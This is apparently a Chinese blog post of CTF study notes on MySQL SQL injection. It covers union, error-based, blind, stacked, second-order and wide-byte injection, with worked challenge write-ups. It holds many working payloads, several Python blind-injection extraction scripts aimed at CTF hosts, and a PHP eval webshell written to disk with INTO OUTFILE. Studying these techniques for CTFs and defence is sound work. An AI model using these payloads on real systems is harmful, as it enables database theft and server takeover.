sql注入姿势总结(mysql)
前言
学习了sql注入很长时间,但是仍然没有系统的了解过,这次总结一波,用作学习的资料。
从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入
联合查询
即多表之间的查询
联合查询分类
- 内连接(inner Join 或 Join)
- 交叉连接 (cross Join)
- 结果集链接 (union 和 union all
- 外连接(outer Join)
- 左外连接(left outer Join 或 left Join)
- 右外连接(right outer Join 或 right Join)
- 全外连接(full outer Join 或 full Join)
详情查看联合查询,在SQL注入中多用 union即结果集查询
union各种姿势
常规注入
#判断注入类型 -数字或者字符
#猜测字段数
#获取当前数据库
#获取数据库权限和数据库版本
#获取表名和字段名
sql写入新的密码
[GXYCTF2019]BabySQli
-
登录界面,常规 sql 不管用,emmmmm...
-
提示:
先说说 base32 和 base64 的区别,
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。 -
sql 原理:
select * from user where username = '$name' -
知识点:
- 看了 web,学到了联合注入有个技巧,在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据表
payload=name=1' union select 0,'admin','81dc9bdb52d04dc20036dbd8313ed055'%23&pw=1234
- 看了 web,学到了联合注入有个技巧,在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据表
无列名注入
参考https://blog.csdn.net/weixin_46330722/article/details/109605941?
即通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。
创建虚拟表

更改列名

查询第一列数据,如果没有后面的 n,会报错

[SWPU2019]Web1
知识点:
-
二次注入,特别注意可控的地方
-
无列名注入(information_schema 被过滤,且知道表名的情况)
在无列名注入的时候 一定要和表的列数相同 不然会报错 慢慢试
无列名注入原理 -
waf 关键字绕过方法
- 空格被过滤
空格过滤可以利用/**/代替空格 - 注释符被过滤
将后面的单引号闭合即可 - or 被过滤
这就很难受了,order by、information_schema 都不能用。
于是查表名使用 select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
- 空格被过滤
-
爆库:
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"' -
无字段爆值(无列名注入)
payload:1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
[GYCTF2020]Ezsqli
考点
- 盲注,or 过滤,可以用
||或者^异或注入 - 过滤了 information,union select 组合使用,join,常规列名注入不行
- information 被过滤后,三种替代 information 的关键词
- 无列名注入,新方法
payload = '0^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
详情参考https://www.gem-love.com/ctf/1782.html
ciscn21-web sql
- 考点
- 报错注入
- join 无列名注入,使用
join using的方法(using相当于on)
')'闭合,报错可用,得到 security 数据库,- 报错要得到表名,information 被过滤,以下可用来爆表
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.schema_auto_increment_columns
sys.x$ps_schema_table_statistics_io
- 也可
mysql.innodb_table_stats (此表中库名字段是 database_name,而非 table_schema)
mysql.innodb_index_stats
- join 无列名注入
mysql> select _ from (select _ from users a join users b)c;#users是表名,
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select _ from (select _ from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select _ from (select _ from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'
本地测试可以爆列名

多参数注入
多参数情况很常见,比如登录框就有两个输入点,有username和passwd,猜测sql语句:select * from user where username='username' and passwd='passwd'
很明显有注入,不过题目总是千变万化,灵活变换。就看看遇到过的题目吧。。。
[NCTF2019]SQLi
-
知识点
- ;%00 截断(php 版本为 5.2.16)
- 过滤了',不能闭合,可以使用转义
\的闭合,应该也可以使用/*----*/注释符吧
-
太狂了,给了查询语句

-
由于单引号被禁用,使用 \ 转义 and 前面的那个单引号,使得
' and passwd='形成闭合
构造 passwd 处为||/*1*/passwd/*2*/regexp/*3*/"^a";%00 -
用 regexp 查询 passwd ^匹配字符串开头 %00 截断后面的内容
-
payload:
username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00
本地测试也可

[CISCN2019 总决赛 Day2 Web1]Easyweb
- 知识点
- 备份文件得到源码
\00绕过 addslashes()函数,通过\让单引号逃逸出来,path 变量实现盲注- 文件上传,短标签
- 登录界面,已经很眼熟了

- 读备份文件,robots.txt-->image.php.bak-->下载成功
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
-
这里要注意:array 数组中的元素是:
\0``%00``\'``',这里的第一个\是用来转义的。。。。大意了。。 -
重要查询语句:
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
这个时候其实是没有任何过滤的,试想这是我们 id=\0,则在 addslashes 后变为 id=\0,随后将\0 其清空,那么这是 id=\,正好可以使单引号逃逸出来,变成:
$result=mysqli_query($con,"select * from images where id=' \' or path=' {$path}'");
可以看到现在 id 的值为\' or path=,可以进行 path 的盲注了
#!/usr/local/bin/python3
# coding=utf-8
import requests
url = "http://1b3b2f24-e910-4ad0-8474-330a97842901.node3.buuoj.cn/image.php"
flag = ""
for i in range(0, 100):
high = 127
low = 32
mid = (high + low) // 2
while low < high:
# payload = " or id=if(ascii(substr((database()),{},1))>mid,1,0)#".format(i,mid)
# payload = "or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,4)#".format(i, mid)
# payload = "or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{},1,4)#".format(i, mid)
payload = "or id=if(ascii(substr((select group_concat(username,password) from users),{},1))>{},1,4)#".format(
i, mid
)
params = {"id": "\\0", "path": payload}
response = requests.get(url, params=params)
if len(response.text) > 10000:
low = mid + 1
else:
high = mid
mid = (high + low) // 2
flag += chr(int(mid))
print(flag)
- 成功登录,进入上传文件区域
布尔盲注(兼时间盲注)
即根据注入信息返回true or fales,通常是两种不同的页面回显,没有任何报错信息,如果没有回显,则可以考虑使用时间注入
布尔常用函数
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
regexp: 正则表达式
报错注入
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
常规注入
常用函数
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
#extractvalue() 函数不支持低版本 mysql
#extractvalue() 函数最多查询32位
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
其中floor()语句报错,是利⽤floor(),count(),group() by冲突报错,当这三个函数在特定情况⼀起使⽤产⽣的 错误。
extractvalue注⼊的原理:依旧如同updatexml⼀样,extract的第⼆个参数要求是xpath格式字符串,⽽我们输⼊的并不是。所以报错。
0x7e="~"
'~'可以换成'#'、'$'等不满足xpath格式的字符
整数溢出报错
两种方法,exp函数,上限是exp(709),再加一就会溢出浮点数上界报错,

还有一种是学长的~0+1,对0取反直接拿到最大整数


假设查询语句 (select*from(select user())x),查询正确,取反之后就是1,可以和替换上面的👆+ 1,进行报错查询。。。。

如果+一般会被解析成空格,可以使 %2b
也可以使用减法, !(select*from(select user())x)-~0

例题[HFCTF 2021 Final]hatenum
考点:溢出报错注入+relike,regexp和like关键字使用
可以
构造 exp(709+((code)rlike(0x{})))#来进行整数溢出盲注
也可以用减法
构造 ||exp(710-(··· rlike ···))来注入
脚本
import requests
import time
url = "http://37bb2225-a836-4156-8347-f6627b0ef845.node4.buuoj.cn:81/login.php"
payload = "||exp(709+((code)rlike(0x{})))#"
charset = "1234567890qwertyuiopasdfghjklzxcvbnm_"
# erghruigh2(3,u)
# gh23uiu32ig
# gh2uygh2(3,u)
# erghruigh2uygh23uiu32ig
result = "67683275"
plain = "gh2u"
# print(result, end="")
for i in range(100):
finds = []
result = result[2:]
for c in charset:
t = hex(ord(c))[2:]
time.sleep(0.1)
data = {"username": "a\\", "password": payload.format(result+t), "code": "1"}
# print(data)
res = requests.post(url, data, allow_redirects=False)
if "error" == res.text:
finds.append(t)
if len(finds) > 1:
print(finds)
print(plain)
print(result)
exit(0)
else:
result += finds[0]
plain += chr(int(finds[0], 16))
print(plain)
参考https://cloud.tencent.com/developer/article/1630134
https://blog.csdn.net/weixin_43902454/article/details/96495984
堆叠注入
即多条语句可以执行多条sql语句。用 ;来分隔多条语句
原理:
利用mysqli_multi_query()函数就支持多条sql语句同时执行。
mysqli_store_result()函数: 转移上一次查询返回的结果集
各种姿势
[强网杯 2019]随便注
参考https://blog.csdn.net/solitudi/article/details/107823398?
-
很典型的一道题。。。过滤了很多关键字。。。
- 可以使用 extractvalue 报错,可以得到库名,但是无法使用 union,无法爆库。。。
-
三种方法(基于堆叠注入。。):(猜测 sql 语句的组成)
-
姿势一:重命名+堆叠注入
-
根据前面的分析查询语句是selsect id,data from words where id =,,这时候就想到了一个改名的方法,把words随便改成其他名字,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1’ or 1=1#就能够得到flag了
-
payload
-
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;# -
特别注意,表名如果是数字的话,要用反引号,然后更改表名和列名。。1' or 1=1#`即可。。
-
-
姿势二:预处理语句---关键字
PREPARE,EXECUTE..PREPARE name from '[my sql sequece]'; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句预定义语句也可以通过变量进行传递:
SET @tn = 'hahaha'; //存储表名 SET @sql = concat('select * from ', @tn); //存储SQL语句 PREPARE name from @sql; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句本题两种方法都可以用,select可以用char()转换
char(115,101,108,101,99,116)<----->'select' -
姿势三:
新姿势,参考官方文档
handler + 表名 + open handler + 表名+ read Payload: ';handler `18486947392859023727659` open;handler `18486947392859023727659` read first#
- 同样,也可以查看权限,考虑用mysql来写shell。。
-
[SUCTF 2018]MultiSQL
考点:
- 堆叠注入+char()绕过+预编译+sql写shell
注册admin显示用户存在,可能要admin登录?

发现id,应该是sql注入

存在异或注入,也有堆叠注入。
但是堆叠注入没有回显,考虑写shell。
select union等关键词被过滤,使用char()过滤
预编译语句
set @sql = concat('create table ',newT,' like ',old);
prepare s1 from @sql;
execute s1;
写shell的payload
select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php'
最终payload


[SUCTF 2019]EasySQL-堆叠注入改配置
- 这是题目的 sql 语句
select $_GET['query'] || flag from flag - 知识点:
_ 在 oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在 mysql 缺省不支持。需要调整 mysql 的 sql_mode
模式:pipes_as_concat 来实现 oracle 的一些功能
_ payload:1;set sql_mode=PIPES_AS_CONCAT;select 1,堆叠语句来修改配置。。
[SWPU2019]Web4
-
知识点
-
JSON+堆叠注入
-
16 进制+预编译绕过--关键词过滤
-
简单的 mvc 框架审计
-
-
就一个登录框,不管输入什么,没有任何回显,注册页面也没有开放。。。源码看看,没有啥,js 源码知识将 username 和 password 进行 json 编码,来发给后台
burpsuit 抓包,admin 添加',回显错误;admin 添加';,回显正常,说明存在堆叠注入 -
对 username 过滤了很多的关键词---
预编译本地测试

-
预编译脚本爆破
#author: c1e4r
import requests
import json
import time
def main():
#题目地址
url = 'http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
- 得到 glzjin_wants_a_girl_friend.zip,下载源码
---------关键代码1
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
--------关键代码2
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
--------关键代码3
<div class="fakeimg"><?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?></div>
- 所以 payload:
r=User/Index&img_file=/../flag.php
二次注入
原理:
攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
直接上例题
[XDCTF 2015]filemanager
参考https://www.shangmayuan.com/a/a89ac25e4473441ea4ef2c30.html
考点:文件上传+二次注入
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
-
知识点
- file 文件读取
- 二次注入

-
F12 发现 file 参数,可以 file 文件读取,四个文件都可读取源码,发现应该存在二次注入
-
对
address几乎没有任何过滤,应该就是利用点了。。。
- 重点是怎么利用呢?flag 在哪里呢?是 flag.php,flag.txt 呢还是数据库中呢?啊。。。无从下手
-
看了 wp 才知道,在 flag.txt 中,这就是经验??tql,既然要读文件,必定会用到 load_file()函数,
-
简单的方法使用报错注入,但是注意 updatexml 最大的输出长度是 32 位,这里用药 substr()函数,分两次输入
-
但是这里我用
union select总是语法报错。。。
网鼎杯 2018 comment
- 知识点
- git 文件恢复,用到
Githacker.py文件 - 密码爆破
- 二次注入,多行注释造成绕过
- git 文件恢复,用到
- 密码地方有提示,
***表示需要你爆破 - 后台扫目录,发现存在.git 文件泄露,但是源码不完整
- git 恢复
python Githacker.py +url
git log --relog # 出现更改的历史
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c #得到完整文件
-
发现二次注入,使用多行注释,注释掉中间的 content,实现 content 注入
-
payload:
',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
[rctf2015]EasySQL
-
知识点
- 二次注入
- 报错注入,regexp 正则使用
-
注册时,发现
admin已经存在,刚开始以为是要得到 admin 的密码 -
发现对用户名进行了过滤,而且登录后,有修改密码的功能,应该是二次注入,没错了。。
-
更改密码功能没有任何回显和报错,注入点放在了用户名上,通过
admin"#成功登入 admin 账号 -
updatexml 报错注入,但是对输出的字符串进行了限制,可以使用 regexp 正则输出,或者 substr,right(被 ban),或者 reverse()逆向输出
[网鼎杯 2018]Unfinish
-
知识点
-
二次注入
-
过滤了逗号---
-
新姿势:
0'+ascii(substr((select * from flag) from {} for 1))+'0;PS:mysql 中,+只能当做运算符

-
-
用报错,用户名长度有限制;用 union,无法闭合后面的单引号
-
information 被过滤,所以这里猜测表名是 flag
-
逗号过滤,使用
from...for..代替 -
借用大佬脚本
import requests
import re
import time
url = "http://c7603b34-a05a-477d-9741-f18364c58e09.node3.buuoj.cn/"
flag = ""
url_login = url + "login.php"
url_register = url + "register.php"
url_index = url + "index.php"
for i in range(100):
time.sleep(0.2)
data_reg = {
"email": "8888{}@qq.com".format(i),
"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(
i
),
"password": "123",
}
data_log = {"email": "8888{}@qq.com".format(i), "password": "123"}
r1 = requests.post(url_register, data=data_reg)
r2 = requests.post(url_login, data=data_log)
# r3=requests.get(url_index)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r2.text)
res1 = re.search(r"\d+", res.group())
flag = flag + chr(int(res1.group()))
print(flag)
宽字节注入
什么是宽字节
当某字符的大小为一个字节时,称其字符为窄字节
当某字符的大小为两个字节时,称其字符为宽字节
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
宽字节注入条件
- 数据库使用了gbk编码
- 使用了过滤函数,将用户输入的单引号转义(mysql_real_escape_string,addslashes)
宽字节注入
本质就是通过拼接 /来让本来要被注释的符号给逃逸出来,实现闭合操作。。
用GBK时,两个连在一起的字符会被认为是汉字
参考https://blog.csdn.net/weixin_44940180/article/details/107783213?
本文来自博客园,作者:kzd的前沿思考,转载请注明原文链接:https://www.cnblogs.com/Fram3/p/15865818.html

浙公网安备 33010602011771号